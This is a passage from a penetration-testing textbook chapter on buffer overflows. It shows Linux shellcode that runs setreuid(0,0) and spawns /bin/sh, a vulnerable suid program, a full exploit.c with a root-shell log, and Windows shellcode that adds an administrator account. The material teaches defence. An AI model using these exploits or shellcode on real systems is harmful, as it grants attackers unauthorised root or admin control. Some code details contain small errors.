Buffer Overflow Examples

 < Day Day Up > 

This section covers the following examples of buffer overflows:

  • Simple example

  • Linux privilege escalation

  • Windows privilege escalation

Simple Example

Example 14-1 demonstrates how buffer overflows work. This example, when compiled and run on a host, causes a segmentation fault. A segmentation fault occurs when a program tries to access memory locations that have not been allocated for the program's use. Later, in the Linux and Windows examples, you will see code that escalates a user's privilege to gain full access on a host.

Example 14-1. Buffer Overflows: Simple Example
/* SimpleOverflow.c */ #include <stdio.h> int main() {  int MyArray[3];  int i;  for (i=0; i<=10; i++)  {    MyArray[i] = 10;  }  return 0; } Linux:/home/pentest #gcc SimpleOverflow.c -o SimpleOverflow Linux:/home/pentest #./SimpleOverflow Segmentation fault (core dumped)

Example 14-1 shows you how easy it is to cause a buffer overflow. Although no malicious code was injected, the MyArray array was supposed to contain 4 elements, yet it was filled with 11 (0 to 10). This caused a segmentation fault on the system. As you can see, it does not take much to cause a buffer overflow.

Linux Privilege Escalation

In this section, you learn how to gain root privileges on a Linux system. Probably the most well-known exploit is the buffer overflow code detailed in the paper "Stack Smashing for Fun and Profit," by Aleph One. Many modified forms of this exploit are available on the Internet, but this section focuses on the one by SolarIce. (To read more examples from SolarIce, see his website at http://www.covertsystems.com.)

This exploit requires two Linux system calls:

  • seteuid(0,0)

  • execve("/bin/sh", "/bin/sh", NULL)

The latter, /bin/sh, launches a shell. seteuid sets the effective permissions for the shell to run as user root and group root, represented by 0,0. These system calls are made using bytecode within a program called shell.c. Bytecode, also called opcode, is a hexadecimal representation of a high-level assembly language. This example begins by examining the bytecode and then packages it into exploit.c.

To get the bytecode, you first program the assembly code into a file called shell.s, as demonstrated in Example 14-2.

Example 14-2. Assembly Code
.section .text .global main main:     xorl %eax, %eax     xorl %ebx, %ebx     movb $0x46, %al     int $0x80     xorl %eax, %eax     xorl %edx, %edx     pushl %edx     pushl $0x68732f2f     pushl $0x6e69622f     movl %esp, %ebx     pushl %edx     pushl %ebx     movl %esp, %ecx     movb $0xb, %al     int $0x80

The first two lines perform an XOR on the EAX and EBX registers. Both registers are reset to 0. However, passing 0x0 (NULL) terminates the program so that you cannot just push 0x0 onto the stack. Instead, you do the functionally equivalent by running an XOR operation, which returns 0s onto both EAX and EBX. These two 0s are the arguments passed to the setreuid call to set the user ID and group ID to root.

The next line reads as follows:

movb $0x46, %al

This moves system call 70 (0x46) into the 8-bit register AL. System call 70 is the setreuid function. You can view all system calls by examining the /usr/include/asm/unistd.h header file:

Linux:/home/pentest #./cat /usr/include/asm/unistd.h | grep 'setreuid' Linux:/home/pentest #./define _NR_setreuid    70

Although the system call is pushed onto the stack, it is not called yet in the program. System calls in Linux are done with the following instruction, which switches the system to kernel mode and runs the system call:

int $0x80

Example 14-3 displays the next part of the assembly code, which executes the equivalent C code:

Example 14-3. C Code
int main() {     /* Declare a pointer array called MyArray      You can name this whatever you like */     char *MyArray[2];     /* Set the first element of the array to /bin/sh */     MyArray[0] = "/bin/sh"       /* The next element is NULL (0x0) */     MyArray[0] = 0x0;       /* Call execve(argv[0], &argv[], NULL) */     execve(MyArray[0], MyArray, 0x0);     /* Exit the main function */     exit(0); }

Begin by clearing the EAX and EDX registers. As before, use XOR instead of pushing NULL (0x0) onto the stack because directly pushing NULLs onto a char array causes it to terminate.

    xorl %eax, %eax     xorl %edx, %edx

Next, push EDX onto the stack:

    pushl %edx

You then push /bin/sh onto the stack. Because the stack buffer works in a LIFO fashion, you first push /sh and then push /bin onto the stack. This ensures that it is read as /bin/sh. If you push in the opposite order, it reads /sh/bin, which does not execute.

    pushl $0x68732f2f     pushl $0x6e69622f

The execve operation also requires the pointer address to be passed (&argv). The following lines pass the pointer to EBX, a NULL, and send /bin/sh to ecx.

    movl %esp, %ebx     pushl %edx     pushl %ebx     movl %esp, %ecx

The next line loads the execve system call to the 8-bit AL register:

    movb $0xb, %al

Finally, the Linux int $0x80 kernel call is made as before:

    int $0x80

Now you can compile the code using GNU C Compiler (GCC):

Linux:/home/pentest #./gcc shell.s -o shell

You then test the code by executing the new shell program:

Linux:/home/pentest #./shell sh-2.05b#

You now have a root shell, and you need to get the bytecode representation of the assembly code. You can use the objdump utility to do this, running it with the d switch. Because this command generates a significant amount of output, use grep for the lines found under the main function only, as demonstrated in Example 14-4.

Example 14-4. Objdump Utility
Linux:/home/pentest #./objdump -d ./shell | grep -A 15\<main 0804830c <main>:  804830c:       31 c0                   xor    %eax,%eax  804830e:       31 db                   xor    %ebx,%ebx  8048310:       b0 46                   mov    $0x46,%al  8048312:       cd 80                   int    $0x80  8048314:       31 c0                   xor    %eax,%eax  8048316:       31 d2                   xor    %edx,%edx  8048318:       52                      push   %edx  8048319:       68 2f 2f 73 68          push   $0x68732f2f  804831e:       68 2f 62 69 6e          push   $0x6e69622f  8048323:       89 e3                   mov    %esp,%ebx  8048325:       52                      push   %edx  8048326:       53                      push   %ebx  8048327:       89 e1                   mov    %esp,%ecx  8048329:       b0 0b                   mov    $0xb,%al  804832b:       cd 80                   int    $0x80

The middle column represents the bytecode. You collect the bytecode and prepend each hexadecimal character with \x. Before creating the exploit file, first test this in a simple C program called shelltest.c, as demonstrated in Example 14-5.

Example 14-5. Shelltest.c
/* Shelltest.c */ #include <stdlib.h> /*Create array of shellcode */ char shellcode[] =     "\x31\xc0\x31\xdb\xb0"     "\x46\xcd\x80\x31\xc0"     "\x31\xd2\x52\x68\x2f"     "\x2f\x73\x68\x68\x2f"     "\x62\x69\x6e\x89\xe3"     "\x52\x53\x89\xe1\xb0"     "\x0b\xcd\x80"; int main() { /* Return the array */     int *ret;     ret = (int *)&ret + 2;     (*ret) = (int)shellcode; }

Next, compile and run this program to verify that it still provides a root shell:

Linux:/home/pentest #./gcc shelltest.c -o shelltest Linux:/home/pentest #./shelltest sh-2.05b#

Note

Bytecode that is used in this fashion to launch a shell is often referred to as shellcode.


Next, you need to create a program to exploit a vulnerable program using this bytecode. You can exploit any vulnerable program running with the suid bit set to root. For the sake of a simple example, a free vulnerable program called vuln.c is used here. You can obtain similar code from Aleph One's paper on smash stacking and other websites, but Example 14-6 uses the code that SolarIce provides:

Example 14-6. Vuln.c
/*     SolarIce     www.covertsystems.org */ #include <stdio.h> #include <string.h> #include <stdlib.h> #define LEN 256 void output(char *); int main(int argc, char **argv) {     static char buffer[LEN];     static void (*func) (char *);     func = output;     strcpy(buffer, argv[1]);     func(buffer);     return EXIT_SUCCESS; } void output(char *string)    {     fprintf(stdout, "%s", string); }

Next, compile the program and set the suid bit so that it runs in the context of root:

Linux:/home/pentest #gcc vuln.c -o vuln Linux:/home/pentest #chmod +s vuln

Now that you have a vulnerable program running in the context of root, you can exploit it using the shellcode created earlier, as demonstrated in Example 14-7.

Example 14-7. Exploit.c
/*    exploit.c     SolarIce    www.covertsystems.org */ #include <stdio.h> #include <string.h> #include <unistd.h> #define PROG     "./vuln" #define BUF_SIZE 256 unsigned char shellcode[]=     "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80"  // setreuid(0, 0);     "\x31\xc0\x50\x6a\x68\x68\x2f\x62\x61\x73"  // execve("/bin/sh");     "\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24"     "\x0c\x50\x53\x8d\x0c\x24\xb0\x0b\xcd\x80"     "x31\xc0\xb0\x01\xcd\x80";                  // exit(0) int main(int argc, char **argv)    {     char buf[BUF_SIZE+4+1];     char *prog = argc >= 2 ? argv[1] : PROG;    char *envp[] = {shellcode, NULL};    unsigned long addr = 0xbfffffff - 5 -                         strlen(prog) -                         strlen(shellcode);    char *p;    p = buf;    memset(p, '\x90', BUF_SIZE);    p += BUF_SIZE;    *((void **)p) = (void *) (addr);    p += 4;    *p = '\0';    execle(prog, prog, buf, NULL, envp);    perror("execle()");    return(-1); }

When the program is compiled and run in the context of an ordinary user, you gain root access, as Example 14-8 demonstrates.

Example 14-8. Launching Exploit.c
Linux:/home/pentest >gcc exploit.c -o exploit Linux:/home/pentest >whoami andrew Linux:/home/pentest >id uid=500(andrew) gid=100(users) groups=100(users),14(uucp),16(dialout),17(audio),33(video) Linux:/home/pentest > ./exploit bash-2.05b# whoami root bash-2.05b# id uid=0(root) gid=100(users) groups=100(users),14(uucp),16(dialout),17(audio),33(video) bash-2.05b#

By wrapping the shellcode into exploit.c and sending it to the vulnerable program ("vuln"), you are able to escalate normal user privileges (andrew) to those of a root user.

Windows Privilege Escalation

This section explores the exploitation of a buffer overflow vulnerability in Windows 2000 and Windows XP. The code in Example 14-9, when compiled and run on a Windows computer, loads netapi32.dll. The netapi32.dll contains the Windows NET API that applications on Windows networks use. When you use net use commands from within an MS-DOS command shell, you are making a call to this dynamic link library (DLL). A vulnerability exists that enables you to overflow the Windows buffer and call the NetUserAdd function followed by the NetLocalGroupAddMembers function even if the user does not have Administrator access. The code in Example 14-9 exploits this vulnerability and adds a username X with a password of X. The user is a member of the Administrators group.

Example 14-9. Sample Windows Buffer Overflow
char code[] = "\x66\x81\xec\x80\x00\x89\xe6\xe8\xba\x00\x00\x00\x89\x06\xff\x36" "\x68\x8e\x4e\x0e\xec\xe8\xc1\x00\x00\x00\x89\x46\x08\x31\xc0\x50" "\x68\x70\x69\x33\x32\x68\x6e\x65\x74\x61\x54\xff\x56\x08\x89\x46" "\x04\xff\x36\x68\x7e\xd8\xe2\x73\xe8\x9e\x00\x00\x00\x89\x46\x0c" "\xff\x76\x04\x68\x5e\xdf\x7c\xcd\xe8\x8e\x00\x00\x00\x89\x46\x10" "\xff\x76\x04\x68\xd7\x3d\x0c\xc3\xe8\x7e\x00\x00\x00\x89\x46\x14" "\x31\xc0\x31\xdb\x43\x50\x68\x72\x00\x73\x00\x68\x74\x00\x6f\x00" "\x68\x72\x00\x61\x00\x68\x73\x00\x74\x00\x68\x6e\x00\x69\x00\x68" "\x6d\x00\x69\x00\x68\x41\x00\x64\x00\x89\x66\x1c\x50\x68\x58\x00" "\x00\x00\x89\xe1\x89\x4e\x18\x68\x00\x00\x5c\x00\x50\x53\x50\x50" "\x53\x50\x51\x51\x89\xe1\x50\x54\x51\x53\x50\xff\x56\x10\x8b\x4e" "\x18\x49\x49\x51\x89\xe1\x6a\x01\x51\x6a\x03\xff\x76\x1c\x6a\x00" "\xff\x56\x14\xff\x56\x0c\x56\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c" "\x8b\x70\x1c\xad\x8b\x40\x08\x5e\xc2\x04\x00\x53\x55\x56\x57\x8b" "\x6c\x24\x18\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b" "\x5a\x20\x01\xeb\xe3\x32\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31" "\xc0\xac\x38\xe0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24" "\x14\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01" "\xeb\x8b\x04\x8b\x01\xe8\xeb\x02\x31\xc0\x89\xea\x5f\x5e\x5d\x5b" "\xc2\x04\x00"; int main(int argc, char **argv) {   int (*funct)();   funct = (int (*)()) code;   (int)(*funct)(); }

As shown in Figure 14-3, a new user named X has been created. This occurs by executing the code in Example 14-9, even if you do not have administrator privileges when running the program.

Figure 14-3. Creation of 'X' User


Uploading this program onto your target system and executing it allows you to create this new account with full administrative access.

Now that you have seen some common buffer overflow exploits, the sections that follow examine ways in which you can prevent buffer overflows from happening.

     < Day Day Up > 


    Penetration Testing and Network Defense
    Penetration Testing and Network Defense
    ISBN: 1587052083
    EAN: 2147483647
    Year: 2005
    Pages: 209

    flylib.com © 2008-2017.
    If you may any questions please contact us: flylib@qtcs.net